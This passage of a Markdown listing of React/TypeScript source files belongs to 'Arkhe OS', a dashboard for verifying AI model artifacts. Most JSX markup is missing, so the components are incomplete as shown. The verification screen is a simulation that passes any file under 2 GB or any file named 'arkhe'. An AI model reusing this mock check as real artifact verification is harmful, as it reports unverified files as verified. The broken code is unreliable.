DialogProps) {\n  useEffect(() =&gt; {\n    if (!open) return;\n    const prev = document.body.style.overflow;\n    document.body.style.overflow = 'hidden';\n    const onEsc = (e: KeyboardEvent) =&gt; e.key === 'Escape' &amp;&amp; onClose();\n    window.addEventListener('keydown', onEsc);\n    return () =&gt; {\n      document.body.style.overflow = prev;\n      window.removeEventListener('keydown', onEsc);\n    };\n  }, [open, onClose]);\n\n  if (!open) return null;\n\n  return createPortal(\n    \n\n      \n closeOnBackdrop &amp;&amp; onClose()}\n      /&gt;\n      \n\n        \n\n          \n{title}\n          \n            \n          \n        \n        \n{children}\n        {footer &amp;&amp; (\n          \n\n            {footer}\n          \n        )}\n      \n    ,\n    document.body,\n  );\n}\n```\n\n### `src/components/ui/Toast.tsx`\n\n```tsx\nimport { CheckCircle2, Info, XCircle } from 'lucide-react';\nimport { useApp } from '@/contexts/AppContext';\nimport { cn } from '@/lib/utils';\n\nconst icons = {\n  info: Info,\n  success: CheckCircle2,\n  error: XCircle,\n};\n\nconst tones = {\n  info: 'border-arkhe-blue/40 bg-arkhe-blue/10 text-arkhe-blue',\n  success: 'border-arkhe-green/40 bg-arkhe-green/10 text-arkhe-green',\n  error: 'border-arkhe-red/40 bg-arkhe-red/10 text-arkhe-red',\n};\n\nexport function ToastContainer() {\n  const { toasts, dismissToast } = useApp();\n  return (\n    \n\n      {toasts.map((t) =&gt; {\n        const Icon = icons[t.kind];\n        return (\n           dismissToast(t.id)}\n            className={cn(\n              'flex items-start gap-3 rounded-md border p-3 text-sm text-left animate-slide-up shadow-glow',\n              tones[t.kind],\n            )}\n          &gt;\n            \n            {t.message}\n          \n        );\n      })}\n    \n  );\n}\n```\n\n### `src/components/ui/Skeleton.tsx`\n\n```tsx\nimport { cn } from '@/lib/utils';\n\nexport function Skeleton({ className }: { className?: string }) {\n  return \n;\n}\n```\n\n### `src/components/ui/EmptyState.tsx`\n\n```tsx\nimport type { ReactNode } from 'react';\nimport { cn } from '@/lib/utils';\n\ninterface Props {\n  icon: ReactNode;\n  title: string;\n  description?: string;\n  action?: ReactNode;\n  className?: string;\n}\n\nexport function EmptyState({ icon, title, description, action, className }: Props) {\n  return (\n    \n\n      \n{icon}\n      \n{title}\n      {description &amp;&amp; \n{description}}\n      {action}\n    \n  );\n}\n```\n\n### `src/components/ui/Field.tsx`\n\n```tsx\nimport { forwardRef, type InputHTMLAttributes, type ReactNode, type SelectHTMLAttributes } from 'react';\nimport { cn } from '@/lib/utils';\n\ninterface FieldProps {\n  label: ReactNode;\n  hint?: ReactNode;\n  error?: string;\n  children: ReactNode;\n}\n\nexport function Field({ label, hint, error, children }: FieldProps) {\n  return (\n    \n      {label}\n      {children}\n      {hint &amp;&amp; !error &amp;&amp; {hint}}\n      {error &amp;&amp; {error}}\n    \n  );\n}\n\nconst baseInput =\n  'w-full rounded-md border border-arkhe-border bg-arkhe-bg px-3 py-2 text-sm font-mono ' +\n  'text-arkhe-fg placeholder:text-arkhe-dim ' +\n  'focus:border-arkhe-blue focus:outline-none transition-colors';\n\nexport const Input = forwardRef&gt;(\n  ({ className, ...rest }, ref) =&gt; (\n    \n  ),\n);\nInput.displayName = 'Input';\n\nexport const Select = forwardRef&gt;(\n  ({ className, children, ...rest }, ref) =&gt; (\n    \n      {children}\n    \n  ),\n);\nSelect.displayName = 'Select';\n```\n\n---\n\n## 6. Layout\n\n### `src/components/layout/Header.tsx`\n\n```tsx\nimport { Bell, Command, Search, Settings, User } from 'lucide-react';\nimport { Link } from 'react-router-dom';\nimport { Button } from '@/components/ui/Button';\nimport { useApp } from '@/contexts/AppContext';\nimport { KEYBOARD_SHORTCUTS } from '@/lib/constants';\n\nexport function Header() {\n  const { mode } = useApp();\n\n  return (\n    \n\n      \n\n        \n          ARKHE\n          \n            {mode === 'expert' ? 'Expert' : 'OS'}\n          \n        \n\n        \n\n          \n\n            \n            \n            \n               K\n            \n          \n        \n\n        \n\n          \n            \n          \n          \n            \n              \n            \n          \n          \n            \n          \n        \n      \n    \n  );\n}\n```\n\n### `src/components/layout/Sidebar.tsx`\n\n```tsx\nimport { NavLink } from 'react-router-dom';\nimport {\n  Activity, Brain, Cpu, FileSearch, GitBranch, Home, Layers, ListChecks,\n  Network, Package, ScrollText, Settings, Shield, Sparkles, Target,\n  TrendingUp, Wrench,\n} from 'lucide-react';\nimport { cn } from '@/lib/utils';\nimport { useApp } from '@/contexts/AppContext';\n\ninterface NavItem {\n  to: string;\n  icon: typeof Home;\n  label: string;\n  group?: string;\n  expertOnly?: boolean;\n}\n\nconst NAV: NavItem[] = [\n  { to: '/', icon: Home, label: 'In\u00edcio' },\n  { to: '/models', icon: Package, label: 'Modelos' },\n  { to: '/verify', icon: Shield, label: 'Verificar' },\n  { to: '/logs', icon: ScrollText, label: 'Registros' },\n  { to: '/settings', icon: Settings, label: 'Configura\u00e7\u00f5es' },\n\n  { to: '/expert/dashboard', icon: Activity, label: 'Dashboard', group: 'Expert', expertOnly: true },\n  { to: '/expert/gates', icon: ListChecks, label: 'Gates', expertOnly: true },\n  { to: '/expert/wormgraph', icon: Network, label: 'WormGraph', expertOnly: true },\n  { to: '/expert/ai', icon: Brain, label: 'Infer\u00eancia', expertOnly: true },\n  { to: '/expert/routing', icon: GitBranch, label: 'Roteamento', expertOnly: true },\n  { to: '/expert/context', icon: FileSearch, label: 'Contexto', expertOnly: true },\n  { to: '/expert/builder', icon: Wrench, label: 'Builder', expertOnly: true },\n  { to: '/expert/policy', icon: TrendingUp, label: 'Pol\u00edticas', expertOnly: true },\n  { to: '/expert/agentic', icon: Target, label: 'Avalia\u00e7\u00e3o', expertOnly: true },\n  { to: '/expert/invariants', icon: Layers, label: 'Invariantes', expertOnly: true },\n  { to: '/expert/governance', icon: Cpu, label: 'Governan\u00e7a', expertOnly: true },\n  { to: '/expert/design', icon: Sparkles, label: 'Design', expertOnly: true },\n];\n\nexport function Sidebar() {\n  const { mode } = useApp();\n  const items = NAV.filter((i) =&gt; mode === 'expert' || !i.expertOnly);\n\n  return (\n    \n\n      \n\n        {items.map((item, i) =&gt; {\n          const showGroup = item.group &amp;&amp; items[i - 1]?.group !== item.group;\n          return (\n            \n\n              {showGroup &amp;&amp; (\n                \n{item.group}\n              )}\n              \n                  cn('nav-item', isActive ? 'nav-item-active' : 'nav-item-idle')\n                }\n              &gt;\n                \n                {item.label}\n              \n            \n          );\n        })}\n      \n      \n\n        v0.1.0 \u00b7 MIT OR Apache-2.0\n      \n    \n  );\n}\n```\n\n### `src/components/layout/MobileNav.tsx`\n\n```tsx\nimport { NavLink } from 'react-router-dom';\nimport { Home, Package, ScrollText, Settings, Shield } from 'lucide-react';\nimport { cn } from '@/lib/utils';\n\nconst TABS = [\n  { to: '/', icon: Home, label: 'In\u00edcio' },\n  { to: '/models', icon: Package, label: 'Modelos' },\n  { to: '/verify', icon: Shield, label: 'Verificar' },\n  { to: '/logs', icon: ScrollText, label: 'Registros' },\n  { to: '/settings', icon: Settings, label: 'Config' },\n];\n\nexport function MobileNav() {\n  return (\n    \n\n      \n\n        {TABS.map((t) =&gt; (\n          \n              cn(\n                'flex flex-col items-center justify-center gap-1 py-2.5 text-[10px] font-mono uppercase tracking-wider transition-colors',\n                isActive ? 'text-arkhe-blue' : 'text-arkhe-dim',\n              )\n            }\n          &gt;\n            \n            {t.label}\n          \n        ))}\n      \n    \n  );\n}\n```\n\n### `src/components/layout/Shell.tsx`\n\n```tsx\nimport { Outlet } from 'react-router-dom';\nimport { Header } from './Header';\nimport { Sidebar } from './Sidebar';\nimport { MobileNav } from './MobileNav';\nimport { ToastContainer } from '@/components/ui/Toast';\nimport { useKeyboardShortcuts } from '@/hooks/useKeyboardShortcuts';\n\nexport function Shell() {\n  useKeyboardShortcuts();\n  return (\n    \n\n      \n      \n\n        \n\n        \n\n          \n        \n        \n      \n      \n    \n  );\n}\n```\n\n---\n\n## 7. Componentes Especializados\n\n### `src/components/verification/VerificationCard.tsx`\n\n```tsx\nimport { CheckCircle2, ChevronRight } from 'lucide-react';\nimport { Link } from 'react-router-dom';\nimport { Badge } from '@/components/ui/Badge';\nimport { Card } from '@/components/ui/Card';\nimport { Button } from '@/components/ui/Button';\nimport type { ModelRecord } from '@/lib/mock-data';\nimport { formatBytes, truncateHash } from '@/lib/utils';\n\nexport function VerificationCard({ model }: { model: ModelRecord }) {\n  return (\n    \n      \n\n        \n\n          \n\n            \n\n              {model.name}\n              \n            \n            \n\n              {formatBytes(model.size)} \u00b7 {model.license}\n            \n          \n          \n        \n\n        \n\n          \n\n            \nSHA-256\n            \n{truncateHash(model.hash, 12, 8)}\n          \n          \n\n            \nAssinatura\n            \nEd25519 \u00b7 Sigstore/Fulcio\n          \n          \n\n            \nCapabilities\n            \n{model.capabilities.join(' \u00b7 ')}\n          \n          \n\n            \nVerificado\n            \n{new Date(model.verifiedAt).toLocaleString('pt-BR')}\n          \n        \n      \n\n      \n\n        \n          \n            Ver detalhes \n          \n        \n        \n          \n            Verificar outro\n          \n        \n      \n    \n  );\n}\n```\n\n### `src/components/verification/GateStatusRow.tsx`\n\n```tsx\nimport { AlertCircle, CheckCircle2, Clock, Lock, XCircle } from 'lucide-react';\nimport { cn } from '@/lib/utils';\nimport type { ArkheStatus, GateResult } from '@/lib/mock-data';\n\nconst ICONS: Record = {\n  VERIFIED: CheckCircle2,\n  PARTIAL: AlertCircle,\n  FAILED: XCircle,\n  NONEXISTENT: AlertCircle,\n  PENDING: Clock,\n  BLOCKED: Lock,\n};\n\nconst TONES: Record = {\n  VERIFIED: 'text-arkhe-green',\n  PARTIAL: 'text-arkhe-yellow',\n  FAILED: 'text-arkhe-red',\n  NONEXISTENT: 'text-arkhe-muted',\n  PENDING: 'text-arkhe-blue',\n  BLOCKED: 'text-arkhe-purple',\n};\n\nexport function GateStatusRow({ gate }: { gate: GateResult }) {\n  const Icon = ICONS[gate.status];\n  return (\n    \n\n      Gate {gate.id}\n      \n        \n      \n      \n\n        \n{gate.name}\n        \n{gate.detail}\n      \n      \n        {gate.status}\n      \n    \n  );\n}\n```\n\n### `src/components/verification/InvariantTable.tsx`\n\n```tsx\nimport { Badge } from '@/components/ui/Badge';\nimport type { Invariant } from '@/lib/mock-data';\n\nexport function InvariantTable({ invariants }: { invariants: Invariant[] }) {\n  return (\n    \n\n      \n\n        \n          \n            ID\n            Enunciado\n            Categoria\n            Cr\u00edtico\n            Status\n          \n        \n        \n          {invariants.map((inv) =&gt; (\n            \n              {inv.id}\n              {inv.statement}\n              {inv.category}\n              \n                {inv.critical ? (\n                  cr\u00edtico\n                ) : (\n                  \u2014\n                )}\n              \n              \n                \n              \n            \n          ))}\n        \n      \n    \n  );\n}\n```\n\n### `src/components/wormgraph/WormGraphCanvas.tsx`\n\n```tsx\nimport { useEffect, useRef } from 'react';\nimport * as d3 from 'd3-force';\nimport { MOCK_WORM_EVENTS, type WormEvent } from '@/lib/mock-data';\n\ninterface Node extends d3.SimulationNodeDatum {\n  id: number;\n  label: string;\n  kind: WormEvent['kind'];\n}\ninterface Link extends d3.SimulationLinkDatum {\n  source: number | Node;\n  target: number | Node;\n}\n\nconst COLORS: Record = {\n  boot: '#6b8299',\n  sign: '#7ec8e3',\n  rekor: '#a855f7',\n  verify_ok: '#2ecc71',\n  verify_fail: '#e74c3c',\n  merge: '#f1c40f',\n};\n\nexport function WormGraphCanvas({ events = MOCK_WORM_EVENTS }: { events?: WormEvent[] }) {\n  const ref = useRef(null);\n\n  useEffect(() =&gt; {\n    if (!ref.current) return;\n    const svg = d3.select(ref.current);\n    svg.selectAll('*').remove();\n\n    const width = ref.current.clientWidth || 600;\n    const height = 320;\n\n    const nodes: Node[] = events.map((e) =&gt; ({\n      id: e.id,\n      label: e.summary,\n      kind: e.kind,\n    }));\n\n    // Cadeia linear: n_i -&gt; n_{i+1}\n    const links: Link[] = events.slice(0, -1).map((e, i) =&gt; ({\n      source: e.id,\n      target: events[i + 1].id,\n    }));\n\n    const simulation = d3\n      .forceSimulation(nodes)\n      .force('link', d3.forceLink(links).id((d) =&gt; d.id).distance(90))\n      .force('charge', d3.forceManyBody().strength(-220))\n      .force('center', d3.forceCenter(width / 2, height / 2))\n      .force('collide', d3.forceCollide(28));\n\n    const linkSel = svg\n      .append('g')\n      .selectAll('line')\n      .data(links)\n      .join('line')\n      .attr('stroke', '#1a2a3a')\n      .attr('stroke-width', 1.5);\n\n    const nodeSel = svg\n      .append('g')\n      .selectAll('circle')\n      .data(nodes)\n      .join('circle')\n      .attr('r', 8)\n      .attr('fill', (d) =&gt; COLORS[d.kind])\n      .attr('stroke', '#0a0a1a')\n      .attr('stroke-width', 2)\n      .style('filter', 'drop-shadow(0 0 6px currentColor)');\n\n    const labelSel = svg\n      .append('g')\n      .selectAll('text')\n      .data(nodes)\n      .join('text')\n      .text((d) =&gt; d.label.slice(0, 24))\n      .attr('font-family', 'JetBrains Mono, monospace')\n      .attr('font-size', 9)\n      .attr('fill', '#6b8299')\n      .attr('text-anchor', 'middle')\n      .attr('dy', 22);\n\n    simulation.on('tick', () =&gt; {\n      linkSel\n        .attr('x1', (d) =&gt; (d.source as Node).x!)\n        .attr('y1', (d) =&gt; (d.source as Node).y!)\n        .attr('x2', (d) =&gt; (d.target as Node).x!)\n        .attr('y2', (d) =&gt; (d.target as Node).y!);\n      nodeSel.attr('cx', (d) =&gt; d.x!).attr('cy', (d) =&gt; d.y!);\n      labelSel.attr('x', (d) =&gt; d.x!).attr('y', (d) =&gt; d.y!);\n    });\n\n    return () =&gt; {\n      simulation.stop();\n    };\n  }, [events]);\n\n  return (\n    \n\n      \n    \n  );\n}\n```\n\n### `src/components/wormgraph/EventLog.tsx`\n\n```tsx\nimport { formatTimestamp, truncateHash } from '@/lib/utils';\nimport type { WormEvent } from '@/lib/mock-data';\nimport { cn } from '@/lib/utils';\n\nconst KIND_LABEL: Record = {\n  boot: 'BOOT',\n  sign: 'SIGN',\n  rekor: 'REKOR',\n  verify_ok: 'VERIFY_OK',\n  verify_fail: 'VERIFY_FAIL',\n  merge: 'MERGE',\n};\n\nconst KIND_TONE: Record = {\n  boot: 'text-arkhe-dim',\n  sign: 'text-arkhe-blue',\n  rekor: 'text-arkhe-purple',\n  verify_ok: 'text-arkhe-green',\n  verify_fail: 'text-arkhe-red',\n  merge: 'text-arkhe-yellow',\n};\n\nexport function EventLog({ events }: { events: WormEvent[] }) {\n  return (\n    \n\n      {events.map((e) =&gt; (\n        \n\n          {formatTimestamp(e.timestamp)}\n          \n            {KIND_LABEL[e.kind]}\n          \n          {e.summary}\n          {truncateHash(e.recordHash, 6, 6)}\n        \n      ))}\n    \n  );\n}\n```\n\n### `src/components/governance/HITLModal.tsx`\n\n```tsx\nimport { useState, useEffect } from 'react';\nimport { AlertTriangle, Clock } from 'lucide-react';\nimport { Dialog } from '@/components/ui/Dialog';\nimport { Button } from '@/components/ui/Button';\nimport { Progress } from '@/components/ui/Progress';\n\ninterface Props {\n  open: boolean;\n  onClose: () =&gt; void;\n  onDecision: (approved: boolean) =&gt; void;\n  action: string;\n  requester: string;\n  justification: string;\n  impact: string;\n  timeoutSeconds?: number;\n}\n\nexport function HITLModal({\n  open,\n  onClose,\n  onDecision,\n  action,\n  requester,\n  justification,\n  impact,\n  timeoutSeconds = 900,\n}: Props) {\n  const [remaining, setRemaining] = useState(timeoutSeconds);\n\n  useEffect(() =&gt; {\n    if (!open) return;\n    setRemaining(timeoutSeconds);\n    const id = setInterval(() =&gt; {\n      setRemaining((r) =&gt; {\n        if (r &lt;= 1) {\n          clearInterval(id);\n          onDecision(false); // deny-on-timeout\n          return 0;\n        }\n        return r - 1;\n      });\n    }, 1000);\n    return () =&gt; clearInterval(id);\n  }, [open, timeoutSeconds, onDecision]);\n\n  const minutes = Math.floor(remaining / 60);\n  const seconds = remaining % 60;\n\n  return (\n    \n\n          \n          Decis\u00e3o cr\u00edtica\n        \n      }\n      footer={\n        \n\n          \n\n            \n            {minutes}:{seconds.toString().padStart(2, '0')} \u2014 timeout = nega\n          \n          \n\n            \n              Ver detalhes\n            \n             onDecision(false)}&gt;\n              Rejeitar\n            \n             onDecision(true)}&gt;\n              Aprovar\n            \n          \n        \n      }\n    &gt;\n      \n\n        \n\n        \n\n          \n\n            \nA\u00e7\u00e3o\n            \n{action}\n          \n          \n\n            \nSolicitante\n            \n{requester}\n          \n        \n\n        \n\n          \nJustificativa\n          \n{justification}\n        \n\n        \n\n          \nImpacto\n          \n{impact}\n        \n\n        \n\n          Conforme INV-AI-08, a decis\u00e3o \u00e9\n          fail-closed: sem aprova\u00e7\u00e3o expl\u00edcita dentro do tempo, a a\u00e7\u00e3o \u00e9 rejeitada.\n        \n      \n    \n  );\n}\n```\n\n### `src/components/ai/InferencePanel.tsx`\n\n```tsx\nimport { useState } from 'react';\nimport { Play, Sparkles, Terminal } from 'lucide-react';\nimport { Button } from '@/components/ui/Button';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Field, Input, Select } from '@/components/ui/Field';\nimport { Badge } from '@/components/ui/Badge';\nimport { useApp } from '@/contexts/AppContext';\nimport { CAPABILITIES, PREFERENCES } from '@/lib/constants';\nimport { MOCK_MODELS } from '@/lib/mock-data';\n\ninterface Result {\n  output: string;\n  model_id: string;\n  input_tokens: number;\n  output_tokens: number;\n  cost: number;\n  record_hash: string;\n}\n\nexport function InferencePanel() {\n  const { pushToast } = useApp();\n  const [prompt, setPrompt] = useState('Explique o pipeline de 4 gates do Arkhe OS.');\n  const [system, setSystem] = useState('');\n  const [capability, setCapability] = useState&lt;(typeof CAPABILITIES)[number]&gt;('text_generation');\n  const [preference, setPreference] = useState&lt;(typeof PREFERENCES)[number]&gt;('balanced');\n  const [running, setRunning] = useState(false);\n  const [result, setResult] = useState(null);\n\n  const runInference = async () =&gt; {\n    if (!prompt.trim()) {\n      pushToast('error', 'Prompt vazio \u2014 fail-closed.');\n      return;\n    }\n    setRunning(true);\n    setResult(null);\n\n    // Simula\u00e7\u00e3o local (o backend real \u00e9 o `arkhe-ai` crate)\n    await new Promise((r) =&gt; setTimeout(r, 600));\n\n    const model = MOCK_MODELS.find((m) =&gt; m.status === 'VERIFIED');\n    if (!model) {\n      pushToast('error', 'Nenhum modelo VERIFIED dispon\u00edvel.');\n      setRunning(false);\n      return;\n    }\n\n    const output = `[echo:${model.id}] ${prompt.slice(0, 120)}\u2026`;\n    const result: Result = {\n      output,\n      model_id: model.id,\n      input_tokens: Math.ceil(prompt.length / 4),\n      output_tokens: Math.ceil(output.length / 4),\n      cost: 0.001,\n      record_hash: crypto.randomUUID().replace(/-/g, '') + crypto.randomUUID().replace(/-/g, ''),\n    };\n    setResult(result);\n    pushToast('success', `Infer\u00eancia conclu\u00edda \u00b7 ${model.id}`);\n    setRunning(false);\n  };\n\n  return (\n    \n\n      \n        }\n          subtitle=\"Fail-closed: prompt vazio \u00e9 rejeitado\"\n        /&gt;\n        \n          \n             setSystem(e.target.value)}\n              placeholder=\"You are Arkhe, a verification assistant.\"\n            /&gt;\n          \n          \n             setPrompt(e.target.value)}\n              rows={5}\n              className=\"w-full rounded-md border border-arkhe-border bg-arkhe-bg px-3 py-2 text-sm font-mono\n                         text-arkhe-fg focus:border-arkhe-blue focus:outline-none\"\n            /&gt;\n          \n\n          \n\n            \n               setCapability(e.target.value as any)}&gt;\n                {CAPABILITIES.map((c) =&gt; (\n                  \n                    {c}\n                  \n                ))}\n              \n            \n            \n               setPreference(e.target.value as any)}&gt;\n                {PREFERENCES.map((p) =&gt; (\n                  \n                    {p}\n                  \n                ))}\n              \n            \n          \n\n          \n            \n            {running ? 'Executando\u2026' : 'Inferir'}\n          \n        \n      \n\n      \n        }\n          subtitle={result ? `Modelo: ${result.model_id}` : 'Aguardando execu\u00e7\u00e3o'}\n          actions={result ?  : undefined}\n        /&gt;\n        \n          {!result ? (\n            \n\n              Nenhum resultado \u2014 execute uma infer\u00eancia.\n            \n          ) : (\n            \n\n              \n\n                {result.output}\n              \n              \n\n                \n\n                  \nTokens in\n                  \n{result.input_tokens}\n                \n                \n\n                  \nTokens out\n                  \n{result.output_tokens}\n                \n                \n\n                  \nCusto\n                  \n${result.cost.toFixed(6)}\n                \n                \n\n                  \nrecord_hash\n                  \n{result.record_hash}\n                \n              \n            \n          )}\n        \n      \n    \n  );\n}\n```\n\n### `src/components/policy/PolicyTable.tsx`\n\n```tsx\nimport { Badge } from '@/components/ui/Badge';\nimport { Progress } from '@/components/ui/Progress';\nimport type { Policy } from '@/lib/mock-data';\n\nexport function PolicyTable({ policies }: { policies: Policy[] }) {\n  return (\n    \n\n      \n\n        \n          \n            Pol\u00edtica\n            Fase\n            Welfare\n            Agency\n            Durability\n            Status\n          \n        \n        \n          {policies.map((p) =&gt; (\n            \n              {p.name}\n              {p.phase}\n              \n              \n              \n              \n                \n              \n            \n          ))}\n        \n      \n    \n  );\n}\n\nfunction ScoreCell({ value, highlight = false }: { value: number; highlight?: boolean }) {\n  return (\n    \n      \n\n        \n          {value.toFixed(1)}\n        \n        \n      \n    \n  );\n}\n```\n\n---\n\n## 8. Screens \u2014 Basic\n\n### `src/screens/Home.tsx`\n\n```tsx\nimport { Activity, FileSearch, Play, ShieldCheck, Sparkles } from 'lucide-react';\nimport { Link } from 'react-router-dom';\nimport { Button } from '@/components/ui/Button';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Badge } from '@/components/ui/Badge';\nimport { VerificationCard } from '@/components/verification/VerificationCard';\nimport { MOCK_MODELS, MOCK_VERIFICATIONS } from '@/lib/mock-data';\nimport { formatRelative } from '@/lib/utils';\n\nexport default function Home() {\n  const featured = MOCK_MODELS[0];\n  const recent = MOCK_VERIFICATIONS.slice(0, 4);\n  const models = MOCK_MODELS.slice(0, 4);\n\n  return (\n    \n\n      \n\n        \nIn\u00edcio\n        \n\n          Camada de verifica\u00e7\u00e3o universal para artefatos de IA.\n        \n      \n\n      {/* Verifica\u00e7\u00e3o r\u00e1pida */}\n      \n        }\n          subtitle=\"\u00daltimo artefato verificado\"\n        /&gt;\n        \n          \n        \n      \n\n      {/* Grid de duas colunas */}\n      \n\n        \n          }\n            actions={Ver todas}\n          /&gt;\n          \n            {recent.map((v) =&gt; (\n              \n\n                \n                \n                  {MOCK_MODELS.find((m) =&gt; m.id === v.modelId)?.name ?? v.modelId}\n                \n                \n                  {formatRelative(v.timestamp)}\n                \n              \n            ))}\n          \n        \n\n        \n          } /&gt;\n          \n            \n\n              \n\n                \nGates\n                \n4/4 OK\n              \n              \n\n                \nInvariantes\n                \n8/8 ativos\n              \n              \n\n                \n\u00daltima verifica\u00e7\u00e3o\n                \n2 min atr\u00e1s\n              \n              \n\n                \nWormGraph\n                \n1.247 eventos\n              \n            \n          \n        \n      \n\n      {/* Modelos recentes */}\n      \n\n        \n\n          \nModelos recentes\n          \n            Ver todos \u2192\n          \n        \n        \n\n          {models.map((m) =&gt; (\n            \n              \n                \n\n                  {m.name}\n                  \n                \n                \n\n                  {(m.size / 1e9).toFixed(2)} GB \u00b7 {m.license}\n                \n              \n            \n          ))}\n        \n      \n\n      {/* A\u00e7\u00f5es r\u00e1pidas */}\n      \n        \n        \n          \n            \n               Verificar novo\n            \n          \n          \n            \n               Explorar modelos\n            \n          \n          \n            \n               Dashboard Expert\n            \n          \n        \n      \n    \n  );\n}\n```\n\n### `src/screens/Models.tsx`\n\n```tsx\nimport { useState } from 'react';\nimport { Package } from 'lucide-react';\nimport { Tabs } from '@/components/ui/Tabs';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Badge } from '@/components/ui/Badge';\nimport { EmptyState } from '@/components/ui/EmptyState';\nimport { Button } from '@/components/ui/Button';\nimport { ModelGrid } from '@/components/models/ModelGrid';\nimport { MOCK_MODELS } from '@/lib/mock-data';\nimport { formatBytes } from '@/lib/utils';\nimport { Link } from 'react-router-dom';\n\ntype Filter = 'all' | 'verified' | 'failed';\n\nexport default function Models() {\n  const [filter, setFilter] = useState('all');\n\n  const filtered = MOCK_MODELS.filter((m) =&gt;\n    filter === 'all' ? true : filter === 'verified' ? m.status === 'VERIFIED' : m.status !== 'VERIFIED',\n  );\n\n  return (\n    \n\n      \n\n        \n\n          \nModelos\n          \n\n            {MOCK_MODELS.length} artefatos registados\n          \n        \n         m.status === 'VERIFIED').length },\n            { value: 'failed', label: 'N\u00e3o verificados', count: MOCK_MODELS.filter((m) =&gt; m.status !== 'VERIFIED').length },\n          ]}\n        /&gt;\n      \n\n      {filtered.length === 0 ? (\n        \n          }\n            title=\"Nenhum modelo\"\n            description=\"N\u00e3o h\u00e1 modelos que satisfa\u00e7am o filtro selecionado.\"\n            action={Verificar novo}\n          /&gt;\n        \n      ) : (\n        \n      )}\n\n      \n        \n        \n          \n\n            \n\n              \nTotal\n              \n{MOCK_MODELS.length}\n            \n            \n\n              \nTamanho agregado\n              \n\n                {formatBytes(MOCK_MODELS.reduce((a, b) =&gt; a + b.size, 0))}\n              \n            \n            \n\n              \nVerificados\n              \n\n                {MOCK_MODELS.filter((m) =&gt; m.status === 'VERIFIED').length}\n              \n            \n            \n\n              \nFalhados\n              \n\n                {MOCK_MODELS.filter((m) =&gt; m.status === 'FAILED').length}\n              \n            \n          \n        \n      \n    \n  );\n}\n```\n\n### `src/components/models/ModelGrid.tsx`\n\n```tsx\nimport { CheckCircle2, ExternalLink } from 'lucide-react';\nimport { Link } from 'react-router-dom';\nimport { Badge } from '@/components/ui/Badge';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Button } from '@/components/ui/Button';\nimport type { ModelRecord } from '@/lib/mock-data';\nimport { formatBytes, formatRelative, truncateHash } from '@/lib/utils';\n\nexport function ModelGrid({ models }: { models: ModelRecord[] }) {\n  return (\n    \n\n      {models.map((m) =&gt; (\n        \n          }\n            actions={}\n          /&gt;\n          \n            \n\n              \nSHA-256\n              \n{truncateHash(m.hash, 16, 10)}\n            \n            \n\n              \nCapabilities\n              \n\n                {m.capabilities.map((c) =&gt; (\n                  \n                    {c}\n                  \n                ))}\n              \n            \n            \n\n              Verificado {formatRelative(m.verifiedAt)}\n            \n          \n          \n\n            \n              \n                 Inferir\n              \n            \n            \n              \n                Re-verificar\n              \n            \n          \n        \n      ))}\n    \n  );\n}\n```\n\n### `src/screens/Verify.tsx`\n\n```tsx\nimport { useState } from 'react';\nimport { CheckCircle2, FileUp, ShieldCheck } from 'lucide-react';\nimport { Button } from '@/components/ui/Button';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Field, Input, Select } from '@/components/ui/Field';\nimport { Badge } from '@/components/ui/Badge';\nimport { GateStatusRow } from '@/components/verification/GateStatusRow';\nimport { useApp } from '@/contexts/AppContext';\nimport { MOCK_GATES, MOCK_MODELS, type ArkheStatus, type GateResult } from '@/lib/mock-data';\n\nconst ANCHORS = [\n  { id: 'sigstore', label: 'Sigstore/Fulcio' },\n  { id: 'crovia', label: 'Crovia' },\n  { id: 'custom', label: 'Custom' },\n];\n\nexport default function Verify() {\n  const { pushToast } = useApp();\n  const [file, setFile] = useState(null);\n  const [manifest, setManifest] = useState('');\n  const [anchor, setAnchor] = useState('sigstore');\n  const [running, setRunning] = useState(false);\n  const [gates, setGates] = useState(null);\n  const [overall, setOverall] = useState(null);\n\n  const runVerify = async () =&gt; {\n    if (!file) {\n      pushToast('error', 'Selecione um ficheiro \u2014 fail-closed.');\n      return;\n    }\n    setRunning(true);\n    setGates(null);\n    setOverall(null);\n\n    await new Promise((r) =&gt; setTimeout(r, 900));\n\n    // Simula\u00e7\u00e3o: o modelo `arkhe-demo` \u00e9 o \u00fanico VERIFIED\n    const verified = file.name.includes('arkhe') || file.size &lt; 2e9;\n    const result: GateResult[] = verified\n      ? MOCK_GATES\n      : MOCK_GATES.map((g, i) =&gt;\n          i === 1 ? { ...g, status: 'FAILED', detail: 'Hash mismatch' } : g,\n        );\n\n    setGates(result);\n    setOverall(verified ? 'VERIFIED' : 'FAILED');\n    pushToast(verified ? 'success' : 'error', verified ? 'Verificado com sucesso' : 'Verifica\u00e7\u00e3o falhada');\n    setRunning(false);\n  };\n\n  const onFile = (f: FileList | null) =&gt; {\n    if (!f || f.length === 0) return;\n    setFile(f[0]);\n  };\n\n  return (\n    \n\n      \n\n        \nVerificar\n        \n\n          Pipeline de 4 gates fail-closed: sanitiza\u00e7\u00e3o \u2192 hash \u2192 assinatura \u2192 inclus\u00e3o.\n        \n      \n\n      \n        } /&gt;\n        \n          \n             onFile(e.target.files)}\n              className=\"w-full rounded-md border border-dashed border-arkhe-borderHi bg-arkhe-bg px-3 py-4 text-sm\n                         file:mr-3 file:rounded file:border-0 file:bg-arkhe-blue/15 file:px-3 file:py-1\n                         file:text-arkhe-blue hover:border-arkhe-blue/60 transition-colors\"\n            /&gt;\n          \n          {file &amp;&amp; (\n            \n\n              {file.name} \u2014 {(file.size / 1e9).toFixed(2)} GB\n            \n          )}\n\n          \n             setManifest(e.target.value)}\n              placeholder=\"model.safetensors.index.json\"\n            /&gt;\n          \n\n          \n             setAnchor(e.target.value)}&gt;\n              {ANCHORS.map((a) =&gt; (\n                \n                  {a.label}\n                \n              ))}\n            \n          \n\n          \n            \n            {running ? 'A verificar\u2026' : 'Verificar'}\n          \n        \n      \n\n      {gates &amp;&amp; (\n        \n          }\n            actions={}\n          /&gt;\n          \n            \n\n              {gates.map((g) =&gt; (\n                \n              ))}\n            \n          \n        \n      )}\n\n      \n        \n        \n          \n\n            \n\nmax_string_len\n1 MB\n            \n\nmax_array\n1 M\n            \n\nmax_kv_pairs\n10 K\n            \n\nmax_alloc\n1 GB\n          \n        \n      \n    \n  );\n}\n```\n\n### `src/screens/Logs.tsx`\n\n```tsx\nimport { 